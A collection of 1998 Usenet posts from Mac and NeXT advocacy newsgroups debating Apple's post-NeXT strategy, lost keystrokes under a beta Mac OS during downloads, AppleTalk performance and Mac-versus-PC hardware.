*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com> <35D0BB31.C59D68BD@ericsson.com>
<j37A1.21801$7k7.20104944@news.rdc1.sdca.home.com> <35D1C357.7B580353@ericsson.com>
<KpuA1.22574$7k7.20807120@news.rdc1.sdca.home.com> <35D31040.A87A3529@ericsson.com>
Message-ID: <oKIA1.23084$7k7.21198435@news.rdc1.sdca.home.com>
Date: Thu, 13 Aug 1998 21:18:12 GMT
NNTP-Posting-Date: Thu, 13 Aug 1998 14:18:12 PDT
Organization: @Home Network
In <35D31040.A87A3529@ericsson.com> Michael Peck wrote:
> rr6013@yahoo.com wrote:
> > Only Macintosh could steer
> > the technology course. It will go down as a benchmark event.
>
> Well, I don't agree on the basis of my opinion alone.
>
>
If Apple can lead independent of their Macintosh brand, they'll avoid the
benchmark.
[snip nice JLG footnote]
> So amid all of this, why is Jobs making this mistake with Apple?
Sticking with hardware? He's a salesman... the best they've got. What else
is he gonna sell? Solaris is free... so now begins the market evolution of
"free" .&. "proprietary". If the world is communalizing software, Apple must
move to a services business model. They have a mfg'rg business model.
> You may
> say "moving to software is a long-term business", I would be quick to
> answer that there are no indications that anything of the sort has even
> begun at Apple.
But you see hints of moving to specialized services in the online store with
the BTO program. Watch and you should see more individualized, tailored
programs from Apple.
> The introduction of the iMac may be great news for Apple
> as a hardware company, but it's extremely disturbing for Apple as a
> software company.
>
>
See that doesn't bother me at all. I have no problem with Apple being BOTH
hardware AND software. Apple can sell product with high margins at the
interface between software and hardware. I don't forsee that situation
changing. Whether the world moves from Ethernet -> ATM -> ??? peripherials
and software API's are needed. This is different than conventional wisdom of
Apple being at the interface between human and computer.
[snip snip]
> It is *so* ironic
> that the platform-agnostic, enterprise-level, development-oriented,
> highly-advanced technology Apple acquired from NeXT is the foundation of
> an OS-level, hardware-specific, consumer-oriented, Carbon-based
> strategy. Can someone explain how we got here?
>
>
There does not exist any other marketplace for the NeXT product as it was
configured. There were no buyers. There were no desktop buyers, enterprise
buyers, developer buyers nor highly-advanced buyers. There were no buyers.
No buyers... none.
> Why can't Apple become a provider of enterprise-level software in the
> vein of the OPENSTEP APIs?
>
Because enterprises and governments are mandated to buy "off the shelf" .vs.
"build to suit". You knew this...
[cut ]
> > This is a long, slow process. It is not going to be a high
> > profile, hotswap power grab at the PC unfaithful.
>
> [snip] I thought, as recently as Amelio's reign,
> that a slow, gradual, even-handed comeback was possible. With Jobs
> tearing holes and starting revolutions, it seemed like the only way to
> survive the chaos was for wonderful things to happen quickly. Instead
> we've got a slow comeback with lots of chaos. I don't understand!
>
>
Yeah, programmer types have the toughest time since the discipline demands
precise logic, sequential thought and connected cause/effect relationships.
Tearing holes SJ did that. But I don't get the revolution piece. There is
no revolution - no 1984 all over again. SJ went in and stripped away all the
distractions so all that was left was Apple's core business. Focus returned
and their core competencies became "important" again. No chaos in that...
[snip]
>
> > Its my
> > read that iMac was SJ's response to "how do we repair the damage". New
> > machine, new market, new customers, new lease on Life...
>
> I really don't think it's new.
>
I didn't either, especially, with the over-the-top design emphasis and
conventional specs. But the machine is new for Apple to offer to customers
they have never "asked" to buy their product. To those familiar with the
topology of the Internet the box is a yawner... but I'm amazed at the numbers
of people "enjoying" AOL and modeming up to the Internet. And this is in the
face of OC-3 connectivity at their doorstep for $20/mo more. They are quite
happy to experience the Internet (their words) with friends and family
through AOL.
-r
From: "A.Haakmat" <A.Haakmat@cable.a2000.nl>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Date: Thu, 13 Aug 1998 23:24:40 +0200
Organization: A2000 Kabeltelevisie & Telecommunicatie
Message-ID: <35D35990.5090D577@cable.a2000.nl>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <MPG.103ce8511260aaf98978b@news.itg.ti.com> <ExnAyu.F8p@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
Maury Markowitz wrote:
> In <MPG.103ce8511260aaf98978b@news.itg.ti.com> Jason McNorton wrote:
> > This is the EXACT phenomenon that I described with characters getting
> > lost when downloading. Ragosta blasted me for it, but I can't IMAGINE
> > how he's avoided seeing this on Macs. It's happened on every single one
> > I've seen.
>
> Guys, the Plus I had with a 2400bps didn't do this, and no Mac I've used
> since with any modem up to a cable modem has. I have never seen lost
> characters to either uploads or downloads in... [list of apps deleted]
> I've seen dropped chars, but they are always related to too-high disk
> activity or bad memory thrashing. If you're seeing this too, I recommend
> starting there.
Gee, so in fact there is nothing wrong with the software or the machines?
So the extremely slow disk I/O is actually his fault?
Oh, and I see, on a Mac, you cure *everything* by adding gobs of extra
memory. Besides it is cheap anyway.
And lots of wasted memory improves system stability too, seeing how it
reduces the chance of a stray pointer ruining vital information.
These kinds of 'remedies' smell like bad teeth.
Pascal.
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Date: Thu, 13 Aug 1998 17:23:56 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-1308981723560001@castle.webis.net>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <MPG.103ce8511260aaf98978b@news.itg.ti.com>
NNTP-Posting-Date: 13 Aug 1998 22:23:36 GMT
In article <MPG.103ce8511260aaf98978b@news.itg.ti.com>, jmcn@msg.ti.com
(Jason McNorton) wrote:
: In article Steve Sullivan, macghod@concentric.net says...
: > Right nowI am downloading while I write this. I am prposefully not
: > editing the errors, the ones that are the focus of this flame at least
: > (including the last word in the subject, add a "c". Thes errors you see
: > are not typoes, they are chaacters that dont show up for some reason,
: > related to the download going on now. In mt newswatcher it actually isnt
: > hat bad. But it was much worse in claris emailer (which prompted me to
: > write this post). In this message, a couple of characters that I did type
: > didnt show up because of the upload going o in the background, emailer was
: > much much worse. This is simply unacceptable.
: >
: > This is a g3 233, with 96 megs of ram, and running 8.5b5c2
:
:
: This is the EXACT phenomenon that I described with characters getting
: lost when downloading. Ragosta blasted me for it, but I can't IMAGINE
: how he's avoided seeing this on Macs. It's happened on every single one
: I've seen.
I'm not trying to be an ass here, but can you tell me what apps you are
using to download? I'm running a G3/266 here and I usually download 4-5
files through MIE, and are uploading tons of files through FTP. These are
quite large files...and they are usually downloading/uploading at the same
time.
I have NEVER gotten lost characters like that. Now I'm using ethernet over
ISDN to get my transfers.
I take that back---I've gotten errors like that only once: when using the
serial port for printing to an HP. HP's software sucks big time. On the
other hand, my Epson - on the same port, can print hundres of pages
without me noticing that its doing anything.
Believe me, I know that the Mac isn't perfect in multi-tasking...I just
don't think that all these posts about how bad it is need to go by without
some positive experience being shown as well.
Though to be honest, I've seen worse with Win95. A client just bought a
Pentium II 400 with 128MB of RAM running Windows 95 with a 100Mhz bus.
Dell. Adding the printer driver caused the entire machine to be unusable
while Windows was doing something. Then, when he was downloading Navigator
with MIE 3.02, whenever we switched to the download window, it took 20
seconds to display the window and during that time we couldn't do
ANYTHING. His office is on ISDN too.
This is his 3rd Dell in 3 weeks since he's been robbed twice in the past
two weeks (bad experience) and what I'm describing happened with a clean
10 minutes out of the box experience AND it happened each and every time.
I haven't seen a machine so slow in moving between some apps since my
Performa 630 of 4 years ago.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
From: DarnedToHeck@REMOVE.home.com (Paul McGrane)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Message-ID: <DarnedToHeck-1308981911570001@cc962257-a.vron1.nj.home.com>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net>
Organization: I take the fifth
Date: Thu, 13 Aug 1998 23:11:11 GMT
NNTP-Posting-Date: Thu, 13 Aug 1998 16:11:11 PDT
In article <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> Right nowI am downloading while I write this. I am prposefully not
> editing the errors, the ones that are the focus of this flame at least
> (including the last word in the subject, add a "c". Thes errors you see
> are not typoes, they are chaacters that dont show up for some reason,
> related to the download going on now. In mt newswatcher it actually isnt
> hat bad. But it was much worse in claris emailer (which prompted me to
> write this post). In this message, a couple of characters that I did type
> didnt show up because of the upload going o in the background, emailer was
> much much worse. This is simply unacceptable.
>
> This is a g3 233, with 96 megs of ram, and running 8.5b5c2
I imagine it is unacceptable. Have you tried all the normal
troubleshooting steps (like starting up with only the extensions you need
to connect to the internet). I'll add to the pile of relatively useless
posts that I've downloaded stuff at over 200KB/sec in the background while
typing very fast in the foreground and never seen anything like this--not
even when copying over a LocalTalk network to my dinky SE/30 (which, for
some still unexplained reason, causes the 7500 to slow down immensely) do
I lose typed characters.
--
...Paul McGrane
*As always, my email address is a fixer-upper*
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: A flame of the ma
Date: Thu, 13 Aug 1998 17:28:14 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-1308981728150001@castle.webis.net>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <tapella-1308981714500001@22w2-1.dyn.pasteur.fr> <6qv3fb$fe0$2@news.spacelab.net>
NNTP-Posting-Date: 13 Aug 1998 22:27:55 GMT
In article <6qv3fb$fe0$2@news.spacelab.net>, "Charles W. Swiger"
<chuck@codefab.com> wrote:
: tapella@pasteur.fr (Tapella) wrote:
: [ ... ]
: >I think this sometimes happens if you have File Sharing active. If you are
: >connected to the net through AppleTalk, that might do it as well (I know
: >that they connect the computers here to the main network via AppleTalk...
: >which is rather braindead if you ask me... talk about destroying bandwidth).
:
: If this is the case, then there's a design flaw in the interrupt handling or
: a severe problem in the AppleTalk implementation.
:
: >The other possibility is that your beta OS is poorly allocating processor
: >time among programs.
:
: Nope. Servicing keyboard interrupts is orthogonal to the scheduling
: algorithm and how processor time gets allocated to programs.
:
AppleTalk in its MacOS incarnation has many serious flaws. I have it off
on all of my machines. I turn it off on all my customer's machines. I
recommend to them to use Apple's built in Web Sharing or Timbuktu over
TCP/IP.
While the Mac is using AppleTalk, it basically can't do anything else.
This is basically a very braindead implementation on Apple's part. I know
since if you install AppleTalk on a Windows machine and a NeXT, not only
is the speed between them comparable to TCP/IP, but no hangup problems. In
fact, if you use AppleShare IP going over TCP/IP things are much better.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: A flame of the ma
Date: Thu, 13 Aug 1998 17:29:10 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-1308981729160001@castle.webis.net>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <td-1308982152540001@ppp34-max01.twics.com> <cirby-1308981035460001@pm61-42.magicnet.net> <6qv38k$fe0$1@news.spacelab.net>
NNTP-Posting-Date: 13 Aug 1998 22:28:56 GMT
In article <6qv38k$fe0$1@news.spacelab.net>, "Charles W. Swiger"
<chuck@codefab.com> wrote:
: [ ...newsgroups trimmed... ]
:
: cirby@magicnet.net (Chad Irby) wrote:
: >td@twics.com (Troy Dawson) wrote:
: >
: >> Right now I am downloading while I write this. I am purposefully not
: >> editing the errors, the ones that apparently aren't showing up
: >> like our friend's above.
: >
: >Just ignore Macdhud. He's been posting all sorts of false and misleading
: >crap about Macs for years, and almost everything he's ever "found" has
: >been due to his own incompetence with or intentional misuse of Macs.
:
: A computer system losing keystrokes is not "user incompetence" and it's not
: "intentional misuse", it's due to some flaw in computer system. A properly
: designed system will never, _ever_ lose keystrokes under normal operating
: conditions.
:
: Properly designed systems buffer at least one key event (if not more) in
: hardware, generate an interrupt at high priority, and have the CPU service
: the interrupt and queue the keyboard event within a reasonable amount of
: time-- a few milliseconds.
:
: This problem sounds like something like that modem driver, (possibly one
: where the host computer CPU does all the work like a "WinModem"?) is
: disabling interrupts for far too long.
AppleTalk can disable interrupts for as long as 2 minutes.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
From: m_cohen@NOSPAMusa.net (Mike Cohen)
Message-ID: <1ddpqsf.102ylwdr7bzsrN@host-209-214-29-225.bct.bellsouth.net>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net>
Organization: ISIS International
Date: Fri, 14 Aug 1998 00:06:20 GMT
NNTP-Posting-Date: Thu, 13 Aug 1998 20:06:20 EST
Steve Sullivan <macghod@concentric.net> wrote:
> Right nowI am downloading while I write this. I am prposefully not
> editing the errors, the ones that are the focus of this flame at least
> (including the last word in the subject, add a "c". Thes errors you see
> are not typoes, they are chaacters that dont show up for some reason,
> related to the download going on now. In mt newswatcher it actually isnt
> hat bad. But it was much worse in claris emailer (which prompted me to
> write this post). In this message, a couple of characters that I did type
> didnt show up because of the upload going o in the background, emailer was
> much much worse. This is simply unacceptable.
Switch to Eudora Pro. I routinely download in Netscape or MacSoup while
reading & composing mail in Eudora with no lost characters. Claris
Emailer is a slow piece of cr*p (I've seen it miss characters even if
nothing else was running).
I'm only running a 603e/200 with 80M RAM & OS 8.1.
--
Mike Cohen - mike_cohen (at) pobox (dot) com - http://pobox.com/~macguru
Sound is the same for all the world - Youssou N'dour, "Eyes Open"
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 14 Aug 1998 00:13:24 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qvvf4$cbg$1@nnrp1.dejanews.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <id_est-1308981118340001@192.168.1.3> <gmgraves-1308980931320001@sf-usr1-51-179.dialup.slip.net> <paul_lucente-ya02408000R1308981433530001@merck.com>
In article <paul_lucente-ya02408000R1308981433530001@merck.com>,
paul_lucente@merck.com (Paul Lucente) wrote:
> How is this complete bullshit? He gave a perfect example, which you
> snipped, in which he said a trackball will still work without its drivers
> installed, but will not have complete functionality, for example, use of
> the other buttons, which is true.
This is an excellent example. If your device is identified as either a
joystick or mouse, the device mill be handled using Apple's default mouse
service routine. This routine only handles relative position movement and a
single button but it still works.
> Please explain how the statement he made is complete bullshit, I don't
> think it is.
It's not. George is very poorly informed and insulting to boot.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: fred@concept.net (Fred W.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Date: Fri, 14 Aug 1998 00:36:10 GMT
Organization: Fred W.
Message-ID: <35fa8662.525501140@news.i-2000.com>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <MPG.103ce8511260aaf98978b@news.itg.ti.com> <alex-1308981723560001@castle.webis.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
>I'm not trying to be an ass here, but can you tell me what apps you are
>using to download? I'm running a G3/266 here and I usually download 4-5
>files through MIE, and are uploading tons of files through FTP. These are
>quite large files...and they are usually downloading/uploading at the same
>time.
>
>I have NEVER gotten lost characters like that. Now I'm using ethernet over
>ISDN to get my transfers.
>
>I take that back---I've gotten errors like that only once: when using the
>serial port for printing to an HP. HP's software sucks big time. On the
>other hand, my Epson - on the same port, can print hundres of pages
>without me noticing that its doing anything.
>
>Believe me, I know that the Mac isn't perfect in multi-tasking...I just
>don't think that all these posts about how bad it is need to go by without
>some positive experience being shown as well.
>
>Though to be honest, I've seen worse with Win95. A client just bought a
>Pentium II 400 with 128MB of RAM running Windows 95 with a 100Mhz bus.
>Dell. Adding the printer driver caused the entire machine to be unusable
>while Windows was doing something. Then, when he was downloading Navigator
>with MIE 3.02, whenever we switched to the download window, it took 20
>seconds to display the window and during that time we couldn't do
>ANYTHING. His office is on ISDN too.
>
>This is his 3rd Dell in 3 weeks since he's been robbed twice in the past
>two weeks (bad experience) and what I'm describing happened with a clean
>10 minutes out of the box experience AND it happened each and every time.
>
>I haven't seen a machine so slow in moving between some apps since my
>Performa 630 of 4 years ago.
Why in the world would someone buy a PII-400 with 128MB of RAM and run
Windows 95 instead of Windows NT? Seems like a real waste.
From: WadeMasshardt@badger.alumni.wisc.edu (Wade Masshardt)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Date: Thu, 13 Aug 1998 19:18:01 -0500
Organization: Vorlon Empire
Message-ID: <WadeMasshardt-1308981918060001@192.168.0.2>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net>
\H;P~1w0O+wJq\]fy=yWGLWBIsnq-L7<(<bD6#1Wwuz(fd2tH)r8l'q|U
In article <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
>Right nowI am downloading while I write this. I am prposefully not
>editing the errors, the ones that are the focus of this flame at least
>(including the last word in the subject, add a "c". Thes errors you see
>are not typoes, they are chaacters that dont show up for some reason,
>related to the download going on now. In mt newswatcher it actually isnt
>hat bad. But it was much worse in claris emailer (which prompted me to
>write this post). In this message, a couple of characters that I did type
>didnt show up because of the upload going o in the background, emailer was
>much much worse. This is simply unacceptable.
>
>This is a g3 233, with 96 megs of ram, and running 8.5b5c2
I have 210 MHz 604e box hooked to an Intel/Linux box via 10mbps ethernet
and to the internet via a 33.6 modem on the modem port. I've had occasion
recently to be transfering about 800 megs worth of mp3 files from the Mac
to the Linux box (via ethernet) at the same time the Linux box was
downloading files via FTP (via the modem on the Mac through the IP
masquerading software running on the Mac) at the same time I was chatting
on IRC, web browsing, and checking email on the Mac and I never had any
dropped characters. This is all under 8.5b5c2. And my AppleTalk is on
(set to Ethernet; I've got NetATalk running on the Linux box.) I am
thinking we need more info on your setup. For instance, what software are
you using to connect to the net? What modem? What is your disk cache set
to? VM on or off? I also have a printer (LaserWriter 4/600) hooked up to
the printer port and LaserWriter Bridge running, but I wasn't printing
anything at the time. You weren't printing at the time, were you? With
more info the helpful folks here might be able to figure out what was
wrong.
--
+--------------------------------------------------------------------+
| <mailto:WadeMasshardt@badger.alumni.wisc.edu> |
+--------------------------------------------------------------------+
| "Maybe, just maybe, my boys can stop them from getting the book. |
| Yeah . . . and maybe I'm a Chinese jet pilot." |
| - Ash, "Army of Darkness" |
+--------------------------------------------------------------------+
From: dorok@accessnv.com (Jee Hoon Lee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Date: Thu, 13 Aug 1998 18:53:41 -0600
Organization: PCI Systems Inc.
Message-ID: <dorok-1308981853420001@frank74.pcisys.net>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <35d30074.24607984@198.0.0.100>
In article <35d30074.24607984@198.0.0.100>, nhughes@sunflower.com (nate) wrote:
> On Thu, 13 Aug 1998 01:14:15 -0700, macghod@concentric.net (Steve
> Sullivan) wrote:
>
> >Right nowI am downloading while I write this. I am prposefully not
> >editing the errors, the ones that are the focus of this flame at least
> >(including the last word in the subject, add a "c". Thes errors you see
> >are not typoes, they are chaacters that dont show up for some reason,
> >related to the download going on now. In mt newswatcher it actually isnt
>
> That's pretty bad. If doing something as common as downloading caused
> my newsreader to drop letters I type, I think I'd be looking for a
> better computer.
>
>
> >This is a g3 233, with 96 megs of ram, and running 8.5b5c2
Gee, I wonder what that "b" stands for in 8.5b5c2?
Also, I think this advocacy schtick has gone to your brain, Nate. A few
months ago you sounded pretty reasonable and I liked many of your points,
but lately, you're just sounding more and more like a vanilla Mac-basher
with nothing better to do. Go back to playing that game on your PC or
finish polishing that 3D model in Max that your procrastinating on, or you
could say it was rendering in the background and your multi-tasking by
taking a break in the newsgroups. Whatever.
--
Jee Hoon Lee
E-Mail:dorok@accessnv.com
Web: http://coyote.accessnv.com/dorok
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6r0832$9df@nnews.vitinc.com>
Control: cancel <6r0832$9df@nnews.vitinc.com>
Date: 14 Aug 1998 02:35:53 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.6r0832$9df@nnews.vitinc.com>
Sender: ckfgcods@avkristne.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
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Please include the X-CosmoTraq header of this message in any correspondence
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From: y@b.net (cybin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Date: Thu, 13 Aug 1998 22:06:10 -0500
Organization: MegsInet, Inc. - Low Cost, High Performance Internet Services
Message-ID: <y-1308982206100001@randolphmax3-3.megsinet.net>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <35d30074.24607984@198.0.0.100> <dorok-1308981853420001@frank74.pcisys.net>
In article <dorok-1308981853420001@frank74.pcisys.net>, dorok@accessnv.com
(Jee Hoon Lee) wrote:
> In article <35d30074.24607984@198.0.0.100>, nhughes@sunflower.com (nate)
wrote:
>
> > On Thu, 13 Aug 1998 01:14:15 -0700, macghod@concentric.net (Steve
> > Sullivan) wrote:
> >
> > >Right nowI am downloading while I write this. I am prposefully not
> > >editing the errors, the ones that are the focus of this flame at least
> > >(including the last word in the subject, add a "c". Thes errors you see
> > >are not typoes, they are chaacters that dont show up for some reason,
> > >related to the download going on now. In mt newswatcher it actually isnt
> >
> > That's pretty bad. If doing something as common as downloading caused
> > my newsreader to drop letters I type, I think I'd be looking for a
> > better computer.
> >
> >
> > >This is a g3 233, with 96 megs of ram, and running 8.5b5c2
>
> Gee, I wonder what that "b" stands for in 8.5b5c2?
>
rofl! Good point, Jee! I was going to say the same thing, but wanted to
read all the responses first. And besides me, you're the only one who
thought to mention *beta OS*.
Perhaps try going back to 8.1 for a moment and see if it works? If
successful, don't forget to report the bug.
;)
ç
From: telam@iquest.net (Tom Elam)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Date: Fri, 14 Aug 1998 02:32:39 GMT
Organization: HUH?
Message-ID: <35d89f8a.4951056@news.newsguy.com>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On Thu, 13 Aug 1998 01:14:15 -0700, Tom Elam wrote the following word of wisdom
to macghod@concentric.net (Steve Sullivan)
>Right nowI am downloading while I write this. I am prposefully not
>editing the errors, the ones that are the focus of this flame at least
>(including the last word in the subject, add a "c". Thes errors you see
>are not typoes, they are chaacters that dont show up for some reason,
>related to the download going on now. In mt newswatcher it actually isnt
>hat bad. But it was much worse in claris emailer (which prompted me to
>write this post). In this message, a couple of characters that I did type
>didnt show up because of the upload going o in the background, emailer was
>much much worse. This is simply unacceptable.
>
>This is a g3 233, with 96 megs of ram, and running 8.5b5c2
Very interesting. Just for testing purposes I am FETching a copy of
Communicator from the Netscape site as I write this on my puny P150 laptop.
It's coming over the wire at 2,850 bps actual transfer speed, maxed out for my
28.8 connection. No skipped characters here. In fact, I can't tell anything
else is going on other than my email program running. OK, now in addition I
just asked the news reader to download the newest 1000 headers in
alt.windows95. It's also doing that at the same time, starting now......still
no effect on the keyboard, not even a lag due to buffered keystrokes.....
It's called PMT, and it works. Someday maybe Apples will have it too.
---------------------------------------------
Tom Elam
The universe is not only stranger than we imagine,
it is stranger than we CAN imagine.
The new and improved family homepage is at:
http://members.iquest.net/~telam/default.htm
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: NEXTstep/Openstep for the Mac
Date: 14 Aug 1998 03:29:36 GMT
Organization: Michigan State University
Message-ID: <6r0av0$mm8$1@msunews.cl.msu.edu>
References: <35CF0C69.B3B0CF5@ericsson.com> <SCOTT.98Aug11143008@slave.doubleu.com>
<6qs5e8$i06$1@crib.corepower.com> <6qsg2o$sr$1@sun579.rz.ruhr-uni-bochum.de>
<6qsg9n$j66$1@crib.corepower.com> <35d1caf2.0@news.depaul.edu>
<6qskpb$lir$1@msunews.cl.msu.edu> <6qt1um$rf1$1@news.digifix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: sanguish@digifix.com
In <6qt1um$rf1$1@news.digifix.com> Scott Anguish wrote:
> On 08/12/98, spammers@ruin.the.internet.channelu.com wrote:
> >In <35d1caf2.0@news.depaul.edu> Jonathan W Hendry wrote:
> <snip>
> >> It would be easier to just use raw dictionary content from
> >www.dict.org.
> >>
> >
> >It may be better to go with a open solution. IXKit is one of the
> >things
> >that I am most interested in porting - but I don't think I will get
> >around
> >to it for quite some time.
>
> What about using AIAT as was suggested? Its very fast, and
> included with Mac OS X Server.
>
> That gives you the indexing and the finding, you'd just need
> to write the parsing stuff... Omni has released a very basic
> Objective-C wrapper for AIAT..
>
Hmmm. I guess I didn't see that. If I get my hands on DR2 and
give up really reading and posting to Rhaptel/newsgroups
maybe I can get some real work done :)
I have DR1 I'll have to check out whether it's there in some
primitive incarnation.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
From: nospam@devnull.com (Hath)
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Organization: The WebDragon
Message-ID: <nospam-1408980055000001@dhack1-124.cybernex.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com>
Date: Fri, 14 Aug 1998 04:54:59 GMT
In article <6qvfb8$n1q$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <asiufy-1308981150270001@200.229.243.209>,
> asiufy@uol.com.br (Alexandre A. S.) wrote:
>
> > No, you idiot.
>
> That wasn't called for. You should apologize to Scott.
>
> > Now, the question is: do you want to live on the world of PCs,
> > where countless crappy video cards exist, driving Windows nuts with buggy
> > drivers, or do you want simple, efficient cards that can be used
> > flawlessly with Macs?
>
> OK, I want a good video card for my Mac. Name one that is as good as my PC's
> (six month old?) Velocity 128. I also want a good sound card for my Mac. Name
> one that is as good as my TBS Montego. I would rather have good hardware than
> hardware that is "simple, efficient" and I can't get that for my Mac. And,
> BTW, Windows 95 has never failed to auto-detect my hardware.
nice but you don't even HAVE to buy a 'sound card' for the mac, stereo
CD-quality sound is built in. Ever since the MAC II.
of course if you want General MIDI synth as well then you need a card,
though quicktime emulates this 'okay', I prefer using OMS, and an external
MIDI interface and Synthesizer myself (in part because I'm a musician and
have the estra synth hardware to play with with the vastly superior sound
quality to any interface card, PC OR Mac.
not having been in the "display interface" market in the last two years, I
can't answer your other question though, apologies. anyone else?
Hath
}B=&]
(hey half an answer is better than none)
--
send mail to Hath <at> cyberops <dot> org instead of to the above address.
this is to prevent spamming. e-mail reply-to's have been altered
to prevent scan software from extracting my address for the purpose
of spamming me, which I hate with a passion bordering on obsession.
Date: Thu, 13 Aug 1998 21:48:33 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy
Subject: Re: Imac faster than p2 400!!!!!!!
Message-ID: <stevehix-1308982148330001@ip43.safemail.com>
